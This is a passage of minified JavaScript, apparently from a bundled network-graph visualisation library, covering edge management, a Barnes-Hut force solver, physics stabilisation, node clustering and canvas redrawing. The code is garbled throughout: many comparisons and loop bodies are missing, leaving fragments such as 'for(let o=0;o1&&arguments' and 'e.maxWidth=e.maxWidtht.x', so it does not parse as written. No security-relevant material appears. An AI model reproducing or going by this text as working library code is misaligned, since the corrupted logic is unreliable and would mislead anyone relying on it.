0,physics:!0,scaling:{min:1,max:15,label:{enabled:!0,min:14,max:30,maxVisible:30,drawThreshold:5},customScalingFunction:function(o,s,a,l){if(s===o)return .5;{const u=1/(s-o);return Math.max(0,(l-o)*u)}}},selectionWidth:1.5,selfReference:{size:20,angle:Math.PI/4,renderBehindTheNode:!0},shadow:{enabled:!1,color:"rgba(0,0,0,0.5)",size:10,x:5,y:5},background:{enabled:!1,color:"rgba(111,111,111,1)",size:10,dashes:!1},smooth:{enabled:!0,type:"dynamic",forceDirection:"none",roundness:.5},title:void 0,width:1,value:void 0},We(this.options,this.defaultOptions),this.bindEventListeners()}bindEventListeners(){var e=this,t,i;this.body.emitter.on("_forceDisableDynamicCurves",function(C){let o=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;C==="dynamic"&&(C="continuous");let s=!1;for(const a in e.body.edges)if(Object.prototype.hasOwnProperty.call(e.body.edges,a)){const l=e.body.edges[a],u=e.body.data.edges.get(a);if(u!=null){const h=u.smooth;h!==void 0&&h.enabled===!0&&h.type==="dynamic"&&(C===void 0?l.setOptions({smooth:!1}):l.setOptions({smooth:{type:C}}),s=!0)}}o===!0&&s===!0&&e.body.emitter.emit("_dataChanged")}),this.body.emitter.on("_dataUpdated",()=>{this.reconnectEdges()}),this.body.emitter.on("refreshEdges",X(t=this.refresh).call(t,this)),this.body.emitter.on("refresh",X(i=this.refresh).call(i,this)),this.body.emitter.on("destroy",()=>{we(this.edgesListeners,(C,o)=>{this.body.data.edges&&this.body.data.edges.off(o,C)}),delete this.body.functions.createEdge,delete this.edgesListeners.add,delete this.edgesListeners.update,delete this.edgesListeners.remove,delete this.edgesListeners})}setOptions(e){if(e!==void 0){sn.parseOptions(this.options,e,!0,this.defaultOptions,!0);let t=!1;if(e.smooth!==void 0)for(const i in this.body.edges)Object.prototype.hasOwnProperty.call(this.body.edges,i)&&(t=this.body.edges[i].updateEdgeType()||t);if(e.font!==void 0)for(const i in this.body.edges)Object.prototype.hasOwnProperty.call(this.body.edges,i)&&this.body.edges[i].updateLabelModule();(e.hidden!==void 0||e.physics!==void 0||t===!0)&&this.body.emitter.emit("_dataChanged")}}setData(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1;const i=this.body.data.edges;if(j0("id",e))this.body.data.edges=e;else if(Re(e))this.body.data.edges=new AC,this.body.data.edges.add(e);else if(!e)this.body.data.edges=new AC;else throw new TypeError("Array or DataSet expected");if(i&&we(this.edgesListeners,(C,o)=>{i.off(o,C)}),this.body.edges={},this.body.data.edges){we(this.edgesListeners,(o,s)=>{this.body.data.edges.on(s,o)});const C=this.body.data.edges.getIds();this.add(C,!0)}this.body.emitter.emit("_adjustEdgesForHierarchicalLayout"),t===!1&&this.body.emitter.emit("_dataChanged")}add(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1;const i=this.body.edges,C=this.body.data.edges;for(let o=0;o1&&arguments[1]!==void 0?arguments[1]:!0;if(e.length===0)return;const i=this.body.edges;we(e,C=>{const o=i[C];o!==void 0&&o.remove()}),t&&this.body.emitter.emit("_dataChanged")}refresh(){we(this.body.edges,(e,t)=>{const i=this.body.data.edges.get(t);i!==void 0&&e.setOptions(i)})}create(e){return new sn(e,this.body,this.images,this.options,this.defaultOptions)}reconnectEdges(){let e;const t=this.body.nodes,i=this.body.edges;for(e in t)Object.prototype.hasOwnProperty.call(t,e)&&(t[e].edges=[]);for(e in i)if(Object.prototype.hasOwnProperty.call(i,e)){const C=i[e];C.from=null,C.to=null,C.connect()}}getConnectedNodes(e){const t=[];if(this.body.edges[e]!==void 0){const i=this.body.edges[e];i.fromId!==void 0&&t.push(i.fromId),i.toId!==void 0&&t.push(i.toId)}return t}_updateState(){this._addMissingEdges(),this._removeInvalidEdges()}_removeInvalidEdges(){const e=[];we(this.body.edges,(t,i)=>{const C=this.body.nodes[t.toId],o=this.body.nodes[t.fromId];C!==void 0&&C.isCluster===!0||o!==void 0&&o.isCluster===!0||(C===void 0||o===void 0)&&e.push(i)}),this.remove(e,!1)}_addMissingEdges(){const e=this.body.data.edges;if(e==null)return;const t=this.body.edges,i=[];De(e).call(e,(C,o)=>{t[o]===void 0&&i.push(o)}),this.add(i,!0)}}class ow{constructor(e,t,i){this.body=e,this.physicsBody=t,this.barnesHutTree,this.setOptions(i),this._rng=Hs("BARNES HUT SOLVER")}setOptions(e){this.options=e,this.thetaInversed=1/this.options.theta,this.overlapAvoidanceFactor=1-Math.max(0,Math.min(1,this.options.avoidOverlap))}solve(){if(this.options.gravitationalConstant!==0&&this.physicsBody.physicsNodeIndices.length>0){let e;const t=this.body.nodes,i=this.physicsBody.physicsNodeIndices,C=i.length,o=this._formBarnesHutTree(t,i);this.barnesHutTree=o;for(let s=0;s0&&this._getForceContributions(o.root,e)}}_getForceContributions(e,t){this._getForceContribution(e.children.NW,t),this._getForceContribution(e.children.NE,t),this._getForceContribution(e.children.SW,t),this._getForceContribution(e.children.SE,t)}_getForceContribution(e,t){if(e.childrenCount>0){const i=e.centerOfMass.x-t.x,C=e.centerOfMass.y-t.y,o=Math.sqrt(i*i+C*C);o*e.calcSize>this.thetaInversed?this._calculateForces(o,i,C,t,e):e.childrenCount===4?this._getForceContributions(e,t):e.children.data.id!=t.id&&this._calculateForces(o,i,C,t,e)}}_calculateForces(e,t,i,C,o){e===0&&(e=.1,t=e),this.overlapAvoidanceFactor<1&&C.shape.radius&&(e=Math.max(.1+this.overlapAvoidanceFactor*C.shape.radius,e-C.shape.radius));const s=this.options.gravitationalConstant*o.mass*C.options.mass/Math.pow(e,3),a=t*s,l=i*s;this.physicsBody.forces[C.id].x+=a,this.physicsBody.forces[C.id].y+=l}_formBarnesHutTree(e,t){let i;const C=t.length;let o=e[t[0]].x,s=e[t[0]].y,a=e[t[0]].x,l=e[t[0]].y;for(let x=1;x0&&(ka&&(a=k),Vl&&(l=V))}const u=Math.abs(a-o)-Math.abs(l-s);u>0?(s-=.5*u,l+=.5*u):(o+=.5*u,a-=.5*u);const p=Math.max(1e-5,Math.abs(a-o)),m=.5*p,v=.5*(o+a),w=.5*(s+l),N={root:{centerOfMass:{x:0,y:0},mass:0,range:{minX:v-m,maxX:v+m,minY:w-m,maxY:w+m},size:p,calcSize:1/p,children:{data:null},maxWidth:0,level:0,childrenCount:4}};this._splitBranch(N.root);for(let x=0;x0&&this._placeInTree(N.root,i);return N}_updateBranchMass(e,t){const i=e.centerOfMass,C=e.mass+t.options.mass,o=1/C;i.x=i.x*e.mass+t.x*t.options.mass,i.x*=o,i.y=i.y*e.mass+t.y*t.options.mass,i.y*=o,e.mass=C;const s=Math.max(Math.max(t.height,t.radius),t.width);e.maxWidth=e.maxWidtht.x?C.maxY>t.y?o="NW":o="SW":C.maxY>t.y?o="NE":o="SE",this._placeInRegion(e,t,o)}_placeInRegion(e,t,i){const C=e.children[i];switch(C.childrenCount){case 0:C.children.data=t,C.childrenCount=1,this._updateBranchMass(C,t);break;case 1:C.children.data.x===t.x&&C.children.data.y===t.y?(t.x+=this._rng(),t.y+=this._rng()):(this._splitBranch(C),this._placeInTree(C,t));break;case 4:this._placeInTree(C,t);break}}_splitBranch(e){let t=null;e.childrenCount===1&&(t=e.children.data,e.mass=0,e.centerOfMass.x=0,e.centerOfMass.y=0),e.childrenCount=4,e.children.data=null,this._insertRegion(e,"NW"),this._insertRegion(e,"NE"),this._insertRegion(e,"SW"),this._insertRegion(e,"SE"),t!=null&&this._placeInTree(e,t)}_insertRegion(e,t){let i,C,o,s;const a=.5*e.size;switch(t){case"NW":i=e.range.minX,C=e.range.minX+a,o=e.range.minY,s=e.range.minY+a;break;case"NE":i=e.range.minX+a,C=e.range.maxX,o=e.range.minY,s=e.range.minY+a;break;case"SW":i=e.range.minX,C=e.range.minX+a,o=e.range.minY+a,s=e.range.maxY;break;case"SE":i=e.range.minX+a,C=e.range.maxX,o=e.range.minY+a,s=e.range.maxY;break}e.children[t]={centerOfMass:{x:0,y:0},mass:0,range:{minX:i,maxX:C,minY:o,maxY:s},size:.5*e.size,calcSize:2*e.calcSize,children:{data:null},maxWidth:0,level:e.level+1,childrenCount:0}}_debug(e,t){this.barnesHutTree!==void 0&&(e.lineWidth=1,this._drawBranch(this.barnesHutTree.root,e,t))}_drawBranch(e,t,i){i===void 0&&(i="#FF0000"),e.childrenCount===4&&(this._drawBranch(e.children.NW,t),this._drawBranch(e.children.NE,t),this._drawBranch(e.children.SE,t),this._drawBranch(e.children.SW,t)),t.strokeStyle=i,t.beginPath(),t.moveTo(e.range.minX,e.range.minY),t.lineTo(e.range.maxX,e.range.minY),t.stroke(),t.beginPath(),t.moveTo(e.range.maxX,e.range.minY),t.lineTo(e.range.maxX,e.range.maxY),t.stroke(),t.beginPath(),t.moveTo(e.range.maxX,e.range.maxY),t.lineTo(e.range.minX,e.range.maxY),t.stroke(),t.beginPath(),t.moveTo(e.range.minX,e.range.maxY),t.lineTo(e.range.minX,e.range.minY),t.stroke()}}class DK{constructor(e,t,i){this._rng=Hs("REPULSION SOLVER"),this.body=e,this.physicsBody=t,this.setOptions(i)}setOptions(e){this.options=e}solve(){let e,t,i,C,o,s,a,l;const u=this.body.nodes,h=this.physicsBody.physicsNodeIndices,p=this.physicsBody.forces,m=this.options.nodeDistance,v=-2/3/m,w=4/3;for(let N=0;N0){const s=o.edges.length+1,a=this.options.centralGravity*s*o.options.mass;C[o.id].x=t*a,C[o.id].y=i*a}}}class kK{constructor(e){this.body=e,this.physicsBody={physicsNodeIndices:[],physicsEdgeIndices:[],forces:{},velocities:{}},this.physicsEnabled=!0,this.simulationInterval=1e3/60,this.requiresTimeout=!0,this.previousStates={},this.referenceState={},this.freezeCache={},this.renderTimer=void 0,this.adaptiveTimestep=!1,this.adaptiveTimestepEnabled=!1,this.adaptiveCounter=0,this.adaptiveInterval=3,this.stabilized=!1,this.startedStabilization=!1,this.stabilizationIterations=0,this.ready=!1,this.options={},this.defaultOptions={enabled:!0,barnesHut:{theta:.5,gravitationalConstant:-2e3,centralGravity:.3,springLength:95,springConstant:.04,damping:.09,avoidOverlap:0},forceAtlas2Based:{theta:.5,gravitationalConstant:-50,centralGravity:.01,springConstant:.08,springLength:100,damping:.4,avoidOverlap:0},repulsion:{centralGravity:.2,springLength:200,springConstant:.05,nodeDistance:100,damping:.09,avoidOverlap:0},hierarchicalRepulsion:{centralGravity:0,springLength:100,springConstant:.01,nodeDistance:120,damping:.09},maxVelocity:50,minVelocity:.75,solver:"barnesHut",stabilization:{enabled:!0,iterations:1e3,updateInterval:50,onlyDynamicEdges:!1,fit:!0},timestep:.5,adaptiveTimestep:!0,wind:{x:0,y:0}},ht(this.options,this.defaultOptions),this.timestep=.5,this.layoutFailed=!1,this.bindEventListeners()}bindEventListeners(){this.body.emitter.on("initPhysics",()=>{this.initPhysics()}),this.body.emitter.on("_layoutFailed",()=>{this.layoutFailed=!0}),this.body.emitter.on("resetPhysics",()=>{this.stopSimulation(),this.ready=!1}),this.body.emitter.on("disablePhysics",()=>{this.physicsEnabled=!1,this.stopSimulation()}),this.body.emitter.on("restorePhysics",()=>{this.setOptions(this.options),this.ready===!0&&this.startSimulation()}),this.body.emitter.on("startSimulation",()=>{this.ready===!0&&this.startSimulation()}),this.body.emitter.on("stopSimulation",()=>{this.stopSimulation()}),this.body.emitter.on("destroy",()=>{this.stopSimulation(!1),this.body.emitter.off()}),this.body.emitter.on("_dataChanged",()=>{this.updatePhysicsData()})}setOptions(e){if(e!==void 0)if(e===!1)this.options.enabled=!1,this.physicsEnabled=!1,this.stopSimulation();else if(e===!0)this.options.enabled=!0,this.physicsEnabled=!0,this.startSimulation();else{this.physicsEnabled=!0,Ks(["stabilization"],this.options,e),Dg(this.options,e,"stabilization"),e.enabled===void 0&&(this.options.enabled=!0),this.options.enabled===!1&&(this.physicsEnabled=!1,this.stopSimulation());const t=this.options.wind;t&&((typeof t.x!="number"||gu(t.x))&&(t.x=0),(typeof t.y!="number"||gu(t.y))&&(t.y=0)),this.timestep=this.options.timestep}this.init()}init(){let e;this.options.solver==="forceAtlas2Based"?(e=this.options.forceAtlas2Based,this.nodesSolver=new MK(this.body,this.physicsBody,e),this.edgesSolver=new vu(this.body,this.physicsBody,e),this.gravitySolver=new _K(this.body,this.physicsBody,e)):this.options.solver==="repulsion"?(e=this.options.repulsion,this.nodesSolver=new DK(this.body,this.physicsBody,e),this.edgesSolver=new vu(this.body,this.physicsBody,e),this.gravitySolver=new Ir(this.body,this.physicsBody,e)):this.options.solver==="hierarchicalRepulsion"?(e=this.options.hierarchicalRepulsion,this.nodesSolver=new zK(this.body,this.physicsBody,e),this.edgesSolver=new RK(this.body,this.physicsBody,e),this.gravitySolver=new Ir(this.body,this.physicsBody,e)):(e=this.options.barnesHut,this.nodesSolver=new ow(this.body,this.physicsBody,e),this.edgesSolver=new vu(this.body,this.physicsBody,e),this.gravitySolver=new Ir(this.body,this.physicsBody,e)),this.modelOptions=e}initPhysics(){this.physicsEnabled===!0&&this.options.enabled===!0?this.options.stabilization.enabled===!0?this.stabilize():(this.stabilized=!1,this.ready=!0,this.body.emitter.emit("fit",{},this.layoutFailed),this.startSimulation()):(this.ready=!0,this.body.emitter.emit("fit"))}startSimulation(){if(this.physicsEnabled===!0&&this.options.enabled===!0){if(this.stabilized=!1,this.adaptiveTimestep=!1,this.body.emitter.emit("_resizeNodes"),this.viewFunction===void 0){var e;this.viewFunction=X(e=this.simulationStep).call(e,this),this.body.emitter.on("initRedraw",this.viewFunction),this.body.emitter.emit("_startRendering")}}else this.body.emitter.emit("_redraw")}stopSimulation(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!0;this.stabilized=!0,e===!0&&this._emitStabilized(),this.viewFunction!==void 0&&(this.body.emitter.off("initRedraw",this.viewFunction),this.viewFunction=void 0,e===!0&&this.body.emitter.emit("_stopRendering"))}simulationStep(){const e=ks();this.physicsTick(),(ks()-e<.4*this.simulationInterval||this.runDoubleSpeed===!0)&&this.stabilized===!1&&(this.physicsTick(),this.runDoubleSpeed=!0),this.stabilized===!0&&this.stopSimulation()}_emitStabilized(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:this.stabilizationIterations;(this.stabilizationIterations>1||this.startedStabilization===!0)&&Ai(()=>{this.body.emitter.emit("stabilized",{iterations:e}),this.startedStabilization=!1,this.stabilizationIterations=0},0)}physicsStep(){this.gravitySolver.solve(),this.nodesSolver.solve(),this.edgesSolver.solve(),this.moveNodes()}adjustTimeStep(){this._evaluateStepQuality()===!0?this.timestep=1.2*this.timestep:this.timestep/1.2s))return!1;return!0}moveNodes(){const e=this.physicsBody.physicsNodeIndices;let t=0,i=0;const C=5;for(let o=0;os&&(e=e>0?s:-s),e}_performStep(e){const t=this.body.nodes[e],i=this.physicsBody.forces[e];this.options.wind&&(i.x+=this.options.wind.x,i.y+=this.options.wind.y);const C=this.physicsBody.velocities[e];return this.previousStates[e]={x:t.x,y:t.y,vx:C.x,vy:C.y},t.options.fixed.x===!1?(C.x=this.calculateComponentVelocity(C.x,i.x,t.options.mass),t.x+=C.x*this.timestep):(i.x=0,C.x=0),t.options.fixed.y===!1?(C.y=this.calculateComponentVelocity(C.y,i.y,t.options.mass),t.y+=C.y*this.timestep):(i.y=0,C.y=0),Math.sqrt(Math.pow(C.x,2)+Math.pow(C.y,2))}_freezeNodes(){const e=this.body.nodes;for(const t in e)if(Object.prototype.hasOwnProperty.call(e,t)&&e[t].x&&e[t].y){const i=e[t].options.fixed;this.freezeCache[t]={x:i.x,y:i.y},i.x=!0,i.y=!0}}_restoreFrozenNodes(){const e=this.body.nodes;for(const t in e)Object.prototype.hasOwnProperty.call(e,t)&&this.freezeCache[t]!==void 0&&(e[t].options.fixed.x=this.freezeCache[t].x,e[t].options.fixed.y=this.freezeCache[t].y);this.freezeCache={}}stabilize(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:this.options.stabilization.iterations;if(typeof e!="number"&&(e=this.options.stabilization.iterations,console.error("The stabilize method needs a numeric amount of iterations. Switching to default: ",e)),this.physicsBody.physicsNodeIndices.length===0){this.ready=!0;return}this.adaptiveTimestep=this.options.adaptiveTimestep,this.body.emitter.emit("_resizeNodes"),this.stopSimulation(),this.stabilized=!1,this.body.emitter.emit("_blockRedraw"),this.targetIterations=e,this.options.stabilization.onlyDynamicEdges===!0&&this._freezeNodes(),this.stabilizationIterations=0,Ai(()=>this._stabilizationBatch(),0)}_startStabilizing(){return this.startedStabilization===!0?!1:(this.body.emitter.emit("startStabilizing"),this.startedStabilization=!0,!0)}_stabilizationBatch(){const e=()=>this.stabilized===!1&&this.stabilizationIterations{this.body.emitter.emit("stabilizationProgress",{iterations:this.stabilizationIterations,total:this.targetIterations})};this._startStabilizing()&&t();let i=0;for(;e()&&i1&&arguments[1]!==void 0?arguments[1]:[],i=1e9,C=-1e9,o=1e9,s=-1e9,a;if(t.length>0)for(let l=0;la.shape.boundingBox.left&&(o=a.shape.boundingBox.left),sa.shape.boundingBox.top&&(i=a.shape.boundingBox.top),C1&&arguments[1]!==void 0?arguments[1]:[],i=1e9,C=-1e9,o=1e9,s=-1e9,a;if(t.length>0)for(let l=0;la.x&&(o=a.x),sa.y&&(i=a.y),C{delete this.containedEdges[i.id]}),we(t.containedNodes,(i,C)=>{this.containedNodes[C]=i}),t.containedNodes={},we(t.containedEdges,(i,C)=>{this.containedEdges[C]=i}),t.containedEdges={},we(t.edges,i=>{we(this.edges,C=>{var o,s;const a=Ge(o=C.clusteringEdgeReplacingIds).call(o,i.id);a!==-1&&(we(i.clusteringEdgeReplacingIds,l=>{C.clusteringEdgeReplacingIds.push(l),this.body.edges[l].edgeReplacedById=C.id}),ni(s=C.clusteringEdgeReplacingIds).call(s,a,1))})}),t.edges=[]}}class BK{constructor(e){this.body=e,this.clusteredNodes={},this.clusteredEdges={},this.options={},this.defaultOptions={},ht(this.options,this.defaultOptions),this.body.emitter.on("_resetData",()=>{this.clusteredNodes={},this.clusteredEdges={}})}clusterByHubsize(e,t){e===void 0?e=this._getHubSize():typeof e=="object"&&(t=this._checkOptions(e),e=this._getHubSize());const i=[];for(let C=0;C=e&&i.push(o.id)}for(let C=0;C0&&arguments[0]!==void 0?arguments[0]:{},t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;if(e.joinCondition===void 0)throw new Error("Cannot call clusterByNodeData without a joinCondition function in the options.");e=this._checkOptions(e);const i={},C={};we(this.body.nodes,(o,s)=>{o.options&&e.joinCondition(o.options)===!0&&(i[s]=o,we(o.edges,a=>{this.clusteredEdges[a.id]===void 0&&(C[a.id]=a)}))}),this._cluster(i,C,e,t)}clusterByEdgeCount(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0;t=this._checkOptions(t);const C=[],o={};let s,a,l;for(let u=0;u0&&$e(p).length>0&&N===!0){const D=function(){for(let k=0;k1&&arguments[1]!==void 0?arguments[1]:!0;this.clusterByEdgeCount(1,e,t)}clusterBridges(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;this.clusterByEdgeCount(2,e,t)}clusterByConnection(e,t){var i;let C=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0;if(e===void 0)throw new Error("No nodeId supplied to clusterByConnection!");if(this.body.nodes[e]===void 0)throw new Error("The nodeId given to clusterByConnection does not exist!");const o=this.body.nodes[e];t=this._checkOptions(t,o),t.clusterNodeProperties.x===void 0&&(t.clusterNodeProperties.x=o.x),t.clusterNodeProperties.y===void 0&&(t.clusterNodeProperties.y=o.y),t.clusterNodeProperties.fixed===void 0&&(t.clusterNodeProperties.fixed={},t.clusterNodeProperties.fixed.x=o.options.fixed.x,t.clusterNodeProperties.fixed.y=o.options.fixed.y);const s={},a={},l=o.id,u=Jt.cloneOptions(o);s[l]=o;for(let p=0;p-1&&(a[w.id]=w)}}this._cluster(s,a,t,C)}_createClusterEdges(e,t,i,C){let o,s,a,l,u,h;const p=$e(e),m=[];for(let N=0;N0&&arguments[0]!==void 0?arguments[0]:{};return e.clusterEdgeProperties===void 0&&(e.clusterEdgeProperties={}),e.clusterNodeProperties===void 0&&(e.clusterNodeProperties={}),e}_cluster(e,t,i){let C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!0;const o=[];for(const h in e)Object.prototype.hasOwnProperty.call(e,h)&&this.clusteredNodes[h]!==void 0&&o.push(h);for(let h=0;hC?a.x:C,o=a.ys?a.y:s;return{x:.5*(i+C),y:.5*(o+s)}}openCluster(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0;if(e===void 0)throw new Error("No clusterNodeId supplied to openCluster.");const C=this.body.nodes[e];if(C===void 0)throw new Error("The clusterNodeId supplied to openCluster does not exist.");if(C.isCluster!==!0||C.containedNodes===void 0||C.containedEdges===void 0)throw new Error("The node:"+e+" is not a valid cluster.");const o=this.findNode(e),s=Ge(o).call(o,e)-1;if(s>=0){const h=o[s];this.body.nodes[h]._openChildCluster(e),delete this.body.nodes[e],i===!0&&this.body.emitter.emit("_dataChanged");return}const a=C.containedNodes,l=C.containedEdges;if(t!==void 0&&t.releaseFunction!==void 0&&typeof t.releaseFunction=="function"){const h={},p={x:C.x,y:C.y};for(const v in a)if(Object.prototype.hasOwnProperty.call(a,v)){const w=this.body.nodes[v];h[v]={x:w.x,y:w.y}}const m=t.releaseFunction(p,h);for(const v in a)if(Object.prototype.hasOwnProperty.call(a,v)){const w=this.body.nodes[v];m[v]!==void 0&&(w.x=m[v].x===void 0?C.x:m[v].x,w.y=m[v].y===void 0?C.y:m[v].y)}}else we(a,function(h){h.options.fixed.x===!1&&(h.x=C.x),h.options.fixed.y===!1&&(h.y=C.y)});for(const h in a)if(Object.prototype.hasOwnProperty.call(a,h)){const p=this.body.nodes[h];p.vx=C.vx,p.vy=C.vy,p.setOptions({physics:!0}),delete this.clusteredNodes[h]}const u=[];for(let h=0;h0&&sC&&(C=u.edges.length),e+=u.edges.length,t+=Math.pow(u.edges.length,2),i+=1}e=e/i,t=t/i;const o=t-Math.pow(e,2),s=Math.sqrt(o);let a=Math.floor(e+2*s);return a>C&&(a=C),a}_createClusteredEdge(e,t,i,C,o){const s=Jt.cloneOptions(i,"edge");We(s,C),s.from=e,s.to=t,s.id="clusterEdge:"+nC(),o!==void 0&&We(s,o);const a=this.body.functions.createEdge(s);return a.clusteringEdgeReplacingIds=[i.id],a.connect(),this.body.edges[a.id]=a,a}_clusterEdges(e,t,i,C){if(t instanceof sn){const o=t,s={};s[o.id]=o,t=s}if(e instanceof it){const o=e,s={};s[o.id]=o,e=s}if(i==null)throw new Error("_clusterEdges: parameter clusterNode required");C===void 0&&(C=i.clusterEdgeProperties),this._createClusterEdges(e,t,i,C);for(const o in t)if(Object.prototype.hasOwnProperty.call(t,o)&&this.body.edges[o]!==void 0){const s=this.body.edges[o];this._backupEdgeOptions(s),s.setOptions({physics:!1})}for(const o in e)Object.prototype.hasOwnProperty.call(e,o)&&(this.clusteredNodes[o]={clusterId:i.id,node:this.body.nodes[o]},this.body.nodes[o].setOptions({physics:!1}))}_getClusterNodeForNode(e){if(e===void 0)return;const t=this.clusteredNodes[e];if(t===void 0)return;const i=t.clusterId;if(i!==void 0)return this.body.nodes[i]}_filter(e,t){const i=[];return we(e,C=>{t(C)&&i.push(C)}),i}_updateState(){let e;const t=[],i={},C=l=>{we(this.body.nodes,u=>{u.isCluster===!0&&l(u)})};for(e in this.clusteredNodes){if(!Object.prototype.hasOwnProperty.call(this.clusteredNodes,e))continue;this.body.nodes[e]===void 0&&t.push(e)}C(function(l){for(let u=0;u{const u=this.body.edges[l];(u===void 0||!u.endPointsValid())&&(i[l]=l)}),C(function(l){we(l.containedEdges,(u,h)=>{!u.endPointsValid()&&!i[h]&&(i[h]=h)})}),we(this.body.edges,(l,u)=>{let h=!0;const p=l.clusteringEdgeReplacingIds;if(p!==void 0){let m=0;we(p,v=>{const w=this.body.edges[v];w!==void 0&&w.endPointsValid()&&(m+=1)}),h=m>0}(!l.endPointsValid()||!h)&&(i[u]=u)}),C(l=>{we(i,u=>{delete l.containedEdges[u],we(l.edges,(h,p)=>{if(h.id===u){l.edges[p]=null;return}h.clusteringEdgeReplacingIds=this._filter(h.clusteringEdgeReplacingIds,function(m){return!i[m]})}),l.edges=this._filter(l.edges,function(h){return h!==null})})}),we(i,l=>{delete this.clusteredEdges[l]}),we(i,l=>{delete this.body.edges[l]});const o=$e(this.body.edges);we(o,l=>{const u=this.body.edges[l],h=this._isClusteredNode(u.fromId)||this._isClusteredNode(u.toId);if(h!==this._isClusteredEdge(u.id))if(h){const p=this._getClusterNodeForNode(u.fromId);p!==void 0&&this._clusterEdges(this.body.nodes[u.fromId],u,p);const m=this._getClusterNodeForNode(u.toId);m!==void 0&&this._clusterEdges(this.body.nodes[u.toId],u,m)}else delete this._clusterEdges[l],this._restoreEdge(u)});let s=!1,a=!0;for(;a;){const l=[];C(function(u){const h=$e(u.containedNodes).length,p=u.options.allowSingleNodeCluster===!0;(p&&h<1||!p&&h<2)&&l.push(u.id)});for(let u=0;u0,s=s||a}s&&this._updateState()}_isClusteredNode(e){return this.clusteredNodes[e]!==void 0}_isClusteredEdge(e){return this.clusteredEdges[e]!==void 0}}class PK{constructor(e,t){this.body=e,this.canvas=t,this.redrawRequested=!1,this.requestAnimationFrameRequestId=void 0,this.renderingActive=!1,this.renderRequests=0,this.allowRedraw=!0,this.dragging=!1,this.zooming=!1,this.options={},this.defaultOptions={hideEdgesOnDrag:!1,hideEdgesOnZoom:!1,hideNodesOnDrag:!1},ht(this.options,this.defaultOptions),this.bindEventListeners()}bindEventListeners(){var e;this.body.emitter.on("dragStart",()=>{this.dragging=!0}),this.body.emitter.on("dragEnd",()=>{this.dragging=!1}),this.body.emitter.on("zoom",()=>{this.zooming=!0,window.clearTimeout(this.zoomTimeoutId),this.zoomTimeoutId=Ai(()=>{var t;this.zooming=!1,X(t=this._requestRedraw).call(t,this)()},250)}),this.body.emitter.on("_resizeNodes",()=>{this._resizeNodes()}),this.body.emitter.on("_redraw",()=>{this.renderingActive===!1&&this._redraw()}),this.body.emitter.on("_blockRedraw",()=>{this.allowRedraw=!1}),this.body.emitter.on("_allowRedraw",()=>{this.allowRedraw=!0,this.redrawRequested=!1}),this.body.emitter.on("_requestRedraw",X(e=this._requestRedraw).call(e,this)),this.body.emitter.on("_startRendering",()=>{this.renderRequests+=1,this.renderingActive=!0,this._startRendering()}),this.body.emitter.on("_stopRendering",()=>{this.renderRequests-=1,this.renderingActive=this.renderRequests>0,this.requestAnimationFrameRequestId=void 0}),this.body.emitter.on("destroy",()=>{this.renderRequests=0,this.allowRedraw=!1,this.renderingActive=!1,window.cancelAnimationFrame(this.requestAnimationFrameRequestId),this.body.emitter.off()})}setOptions(e){e!==void 0&&JA(["hideEdgesOnDrag","hideEdgesOnZoom","hideNodesOnDrag"],this.options,e)}_startRendering(){if(this.renderingActive===!0&&this.requestAnimationFrameRequestId===void 0){var e;this.requestAnimationFrameRequestId=window.requestAnimationFrame(X(e=this._renderStep).call(e,this),this.simulationInterval)}}_renderStep(){this.renderingActive===!0&&(this.requestAnimationFrameRequestId=void 0,this._startRendering(),this._redraw())}redraw(){this.body.emitter.emit("setSize"),this._redraw()}_requestRedraw(){this.redrawRequested!==!0&&this.renderingActive===!1&&this.allowRedraw===!0&&(this.redrawRequested=!0,window.requestAnimationFrame(()=>{this._redraw(!1)}))}_redraw(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1;if(this.allowRedraw===!0){this.body.emitter.emit("initRedraw"),this.redrawRequested=!1;const t={drawExternalLabels:null};(this.canvas.frame.canvas.width===0||this.canvas.frame.canvas.height===0)&&this.canvas.setSize(),this.canvas.setTransform();const i=this.canvas.getContext(),C=this.canvas.frame.canvas.clientWidth,o=this.canvas.frame.canvas.clientHeight;if(i.clearRect(0,0,C,o),this.canvas.frame.clientWidth===0)return;if(i.save(),i.translate(this.body.view.translation.x,this.body.view.translation.y),i.scale(this.body.view.scale,this.body.view.scale),i.beginPath(),this.body.emitter.emit("beforeDrawing",i),i.closePath(),e===!1&&(this.dragging===!1||this.dragging===!0&&this.options.hideEdgesOnDrag===!1)&&(this.zooming===!1||this.zooming===!0&&this.options.hideEdgesOnZoom===!1)&&this._drawEdges(i),this.dragging===!1||this.dragging===!0&&this.options.hideNodesOnDrag===!1){const{drawExternalLabels:s}=this._drawNodes(i,e);t.drawExternalLabels=s}e===!1&&(this.dragging===!1||this.dragging===!0&&this.options.hideEdgesOnDrag===!1)&&(this.zooming===!1||this.zooming===!0&&this.options.hideEdgesOnZoom===!1)&&this._drawArrows(i),t.drawExternalLabels!=null&&t.drawExternalLabels(),e===!1&&this._drawSelectionBox(i),i.beginPath(),this.body.emitter.emit("afterDrawing",i),i.closePath(),i.restore(),e===!0&&i.clearRect(0,0,C,o)}}_resizeNodes(){this.canvas.setTransform();const e=this.canvas.getContext();e.save(),e.translate(this.body.view.translation.x,this.body.view.translation.y),e.scale(this.body.view.scale,this.body.view.scale);const t=this.body.nodes;let i;for(const C in t)Object.prototype.hasOwnProperty.call(t,C)&&(i=t[C],i.resize(e),i.updateBoundingBox(e,i.selected));e.restore()}_drawNodes(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1;const i=this.body.nodes,C=this.body.nodeIndices;let o;const s=[],a=[],l=20,u=this.canvas.DOMtoCanvas({x:-l,y:-l}),h=this.canvas.DOMtoCanvas({x:this.canvas.frame.canvas.clientWidth+l,y:this.canvas.frame.canvas.clientHeight+l}),p={top:u.y,left:u.x,bottom:h.y,right:h.x},m=[];for(let x=0;x{for(const x of m)x()}}}_drawEdges(e){const t=this.body.edges,i=this.body.edgeIndices;for(let 